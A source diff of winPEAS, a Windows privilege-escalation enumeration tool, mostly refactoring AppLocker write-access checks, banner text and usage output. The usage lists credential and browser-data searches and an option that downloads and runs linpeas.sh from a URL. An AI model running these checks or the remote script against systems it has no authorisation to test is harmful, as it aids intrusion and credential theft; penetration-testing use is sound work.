Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||||
|
|
||||||
Beaprint.GoodPrint($" Conditions");
|
Beaprint.GoodPrint($" Conditions");
|
||||||
|
|
||||||
@@ -328,39 +328,42 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var subfolders = Directory.EnumerateDirectories(path);
|
if (Directory.Exists(path))
|
||||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
|
||||||
|
|
||||||
ruleType = ruleType.ToLower();
|
|
||||||
|
|
||||||
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
|
||||||
{
|
{
|
||||||
throw new ArgumentException(nameof(ruleType));
|
var subfolders = Directory.EnumerateDirectories(path);
|
||||||
}
|
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||||
|
|
||||||
var filteredFiles =
|
ruleType = ruleType.ToLower();
|
||||||
(from file in files
|
|
||||||
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
|
||||||
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
|
||||||
select file).ToList();
|
|
||||||
|
|
||||||
// first check write access for files
|
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
||||||
if (filteredFiles.Any(CheckFileWriteAccess))
|
{
|
||||||
{
|
throw new ArgumentException(nameof(ruleType));
|
||||||
return true;
|
}
|
||||||
}
|
|
||||||
|
|
||||||
// if we have not found any writable file,
|
var filteredFiles =
|
||||||
// check subfolders for write access
|
(from file in files
|
||||||
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
||||||
{
|
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
||||||
return true;
|
select file).ToList();
|
||||||
}
|
|
||||||
|
|
||||||
// check recursively all the subfolders for files/sub-subfolders
|
// first check write access for files
|
||||||
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
if (filteredFiles.Any(CheckFileWriteAccess))
|
||||||
{
|
{
|
||||||
return true;
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// if we have not found any writable file,
|
||||||
|
// check subfolders for write access
|
||||||
|
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// check recursively all the subfolders for files/sub-subfolders
|
||||||
|
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
@@ -5,79 +5,79 @@ using System.Runtime.InteropServices;
|
|||||||
namespace winPEAS.Helpers.AppLocker
|
namespace winPEAS.Helpers.AppLocker
|
||||||
{
|
{
|
||||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||||
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public interface IAppIdPolicyHandler
|
public interface IAppIdPolicyHandler
|
||||||
{
|
{
|
||||||
// Token: 0x06000001 RID: 1
|
// Token: 0x06000001 RID: 1
|
||||||
[DispId(1)]
|
[DispId(1)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||||
|
|
||||||
// Token: 0x06000002 RID: 2
|
// Token: 0x06000002 RID: 2
|
||||||
[DispId(2)]
|
[DispId(2)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||||
|
|
||||||
// Token: 0x06000003 RID: 3
|
// Token: 0x06000003 RID: 3
|
||||||
[DispId(3)]
|
[DispId(3)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
string GetEffectivePolicy();
|
string GetEffectivePolicy();
|
||||||
|
|
||||||
// Token: 0x06000004 RID: 4
|
// Token: 0x06000004 RID: 4
|
||||||
[DispId(4)]
|
[DispId(4)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
|
|
||||||
// Token: 0x06000005 RID: 5
|
// Token: 0x06000005 RID: 5
|
||||||
[DispId(5)]
|
[DispId(5)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Token: 0x02000003 RID: 3
|
// Token: 0x02000003 RID: 3
|
||||||
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
||||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|
||||||
// Token: 0x02000004 RID: 4
|
// Token: 0x02000004 RID: 4
|
||||||
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
||||||
[ClassInterface(ClassInterfaceType.None)]
|
[ClassInterface(ClassInterfaceType.None)]
|
||||||
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
||||||
[ComImport]
|
[ComImport]
|
||||||
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
||||||
{
|
{
|
||||||
|
|
||||||
// Token: 0x06000007 RID: 7
|
// Token: 0x06000007 RID: 7
|
||||||
[DispId(1)]
|
[DispId(1)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||||
|
|
||||||
// Token: 0x06000008 RID: 8
|
// Token: 0x06000008 RID: 8
|
||||||
[DispId(2)]
|
[DispId(2)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||||
|
|
||||||
// Token: 0x06000009 RID: 9
|
// Token: 0x06000009 RID: 9
|
||||||
[DispId(3)]
|
[DispId(3)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
[return: MarshalAs(UnmanagedType.BStr)]
|
[return: MarshalAs(UnmanagedType.BStr)]
|
||||||
public virtual extern string GetEffectivePolicy();
|
public virtual extern string GetEffectivePolicy();
|
||||||
|
|
||||||
// Token: 0x0600000A RID: 10
|
// Token: 0x0600000A RID: 10
|
||||||
[DispId(4)]
|
[DispId(4)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
|
|
||||||
// Token: 0x0600000B RID: 11
|
// Token: 0x0600000B RID: 11
|
||||||
[DispId(5)]
|
[DispId(5)]
|
||||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||||
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Threading;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -83,7 +82,7 @@ namespace winPEAS.Helpers
|
|||||||
| {1}Do you like PEASS?{0} |
|
| {1}Do you like PEASS?{0} |
|
||||||
|---------------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------------|
|
||||||
| {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
|
| {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
|
||||||
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
|
| {3}Follow on Twitter{0} : {2}@hacktricks_live{0} |
|
||||||
| {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|
| {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|
||||||
|---------------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------------|
|
||||||
| {1}Thank you!{0} |
|
| {1}Thank you!{0} |
|
||||||
@@ -99,13 +98,13 @@ namespace winPEAS.Helpers
|
|||||||
PrintBanner();
|
PrintBanner();
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @carlospolopm" + NOCOLOR);
|
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @hacktricks_live" + NOCOLOR);
|
||||||
|
|
||||||
PrintMarketingBanner();
|
PrintMarketingBanner();
|
||||||
|
|
||||||
PrintLegend();
|
PrintLegend();
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
LinkPrint("https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:");
|
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||||
}
|
}
|
||||||
|
|
||||||
static void PrintLegend()
|
static void PrintLegend()
|
||||||
@@ -122,29 +121,31 @@ namespace winPEAS.Helpers
|
|||||||
public static void PrintUsage()
|
public static void PrintUsage()
|
||||||
{
|
{
|
||||||
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
|
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
|
Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
Console.WriteLine(LBLUE + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
|
Console.WriteLine(LCYAN + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
||||||
|
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
Console.WriteLine(LCYAN + " Additional checks (slower):");
|
Console.WriteLine(GREEN + " Additional checks (slower):");
|
||||||
Console.WriteLine(LBLUE + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
||||||
Console.WriteLine(LBLUE + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
||||||
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
|
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -213,9 +214,18 @@ namespace winPEAS.Helpers
|
|||||||
Console.WriteLine(DGRAY + to_print + NOCOLOR);
|
Console.WriteLine(DGRAY + to_print + NOCOLOR);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void LongPathWarning(string path)
|
||||||
|
{
|
||||||
|
if (!Checks.Checks.WarningIsLongPath)
|
||||||
|
{
|
||||||
|
GrayPrint($"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)");
|
||||||
|
Checks.Checks.WarningIsLongPath = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
internal static void PrintDebugLine(string log)
|
internal static void PrintDebugLine(string log)
|
||||||
{
|
{
|
||||||
Console.WriteLine(YELLOW + " [Debug] " + log + NOCOLOR);
|
Console.WriteLine(DGRAY + " [Debug] " + log + NOCOLOR);
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ using System.Linq;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security;
|
using System.Security;
|
||||||
using System.Security.Permissions;
|
using System.Security.Permissions;
|
||||||
using System.Text;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
using System;
|
using Microsoft.Win32.SafeHandles;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using Microsoft.Win32.SafeHandles;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|
||||||
namespace winPEAS.Helpers.CredentialManager
|
namespace winPEAS.Helpers.CredentialManager
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,9 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
|
|||||||
{
|
{
|
||||||
|
|
||||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||||
if (perm != null && perm.Length> 0)
|
if (perm != null && perm.Length > 0)
|
||||||
{
|
{
|
||||||
vulnHandler.isVuln = true;
|
vulnHandler.isVuln = true;
|
||||||
vulnHandler.reason = perm;
|
vulnHandler.reason = perm;
|
||||||
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
|
|||||||
// Get the owner of a process given the PID
|
// Get the owner of a process given the PID
|
||||||
public static Dictionary<string, string> GetProcU(Process p)
|
public static Dictionary<string, string> GetProcU(Process p)
|
||||||
{
|
{
|
||||||
Dictionary<string, string> data = new Dictionary<string, string>();
|
Dictionary<string, string> data = new Dictionary<string, string>
|
||||||
data["name"] = "";
|
{
|
||||||
data["sid"] = "";
|
["name"] = "",
|
||||||
|
["sid"] = ""
|
||||||
|
};
|
||||||
IntPtr pHandle = IntPtr.Zero;
|
IntPtr pHandle = IntPtr.Zero;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
|
|||||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||||
|
|
||||||
Process proc = Process.GetProcessById(pid);
|
Process proc = Process.GetProcessById(pid);
|
||||||
Dictionary<string,string> user = GetProcU(proc);
|
Dictionary<string, string> user = GetProcU(proc);
|
||||||
|
|
||||||
StringBuilder fileName = new StringBuilder(2000);
|
StringBuilder fileName = new StringBuilder(2000);
|
||||||
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
||||||
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
|
|||||||
{ // This shouldn't be needed
|
{ // This shouldn't be needed
|
||||||
if (path.StartsWith("\\"))
|
if (path.StartsWith("\\"))
|
||||||
path = path.Substring(1);
|
path = path.Substring(1);
|
||||||
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path);
|
hive = Registry.RegistryHelper.CheckIfExists(path);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (path.StartsWith("\\"))
|
if (path.StartsWith("\\"))
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System;
|
using System.Diagnostics;
|
||||||
using System.Diagnostics;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Check if rundll32
|
//Check if rundll32
|
||||||
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None);
|
string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
|
||||||
|
|
||||||
if (binaryPathdll32.Length > 1)
|
if (binaryPathdll32.Length > 1)
|
||||||
{
|
{
|
||||||
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
|
|||||||
return strOutput;
|
return strOutput;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"};
|
private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
|
||||||
|
|
||||||
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -354,14 +354,17 @@ namespace winPEAS.Helpers
|
|||||||
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
||||||
if (string.IsNullOrEmpty(results[path]))
|
if (string.IsNullOrEmpty(results[path]))
|
||||||
{
|
{
|
||||||
foreach (string d in Directory.EnumerateDirectories(path))
|
if (Directory.Exists(path))
|
||||||
{
|
{
|
||||||
foreach (string f in Directory.EnumerateFiles(d))
|
foreach (string d in Directory.EnumerateDirectories(path))
|
||||||
{
|
{
|
||||||
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
foreach (string f in Directory.EnumerateFiles(d))
|
||||||
|
{
|
||||||
|
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
||||||
|
}
|
||||||
|
cont += 1;
|
||||||
|
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
||||||
}
|
}
|
||||||
cont += 1;
|
|
||||||
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,85 +4,85 @@ using System.Threading;
|
|||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
internal class ProgressBar : IDisposable, IProgress<double>
|
internal class ProgressBar : IDisposable, IProgress<double>
|
||||||
{
|
{
|
||||||
private const int blockCount = 10;
|
private const int blockCount = 10;
|
||||||
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
||||||
private const string animation = @"|/-\";
|
private const string animation = @"|/-\";
|
||||||
|
|
||||||
private readonly Timer timer;
|
private readonly Timer timer;
|
||||||
|
|
||||||
private double currentProgress = 0;
|
private double currentProgress = 0;
|
||||||
private string currentText = string.Empty;
|
private string currentText = string.Empty;
|
||||||
private bool disposed = false;
|
private bool disposed = false;
|
||||||
private int animationIndex = 0;
|
private int animationIndex = 0;
|
||||||
|
|
||||||
public ProgressBar()
|
public ProgressBar()
|
||||||
{
|
{
|
||||||
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Report(double value)
|
public void Report(double value)
|
||||||
{
|
{
|
||||||
// Make sure value is in [0..1] range
|
// Make sure value is in [0..1] range
|
||||||
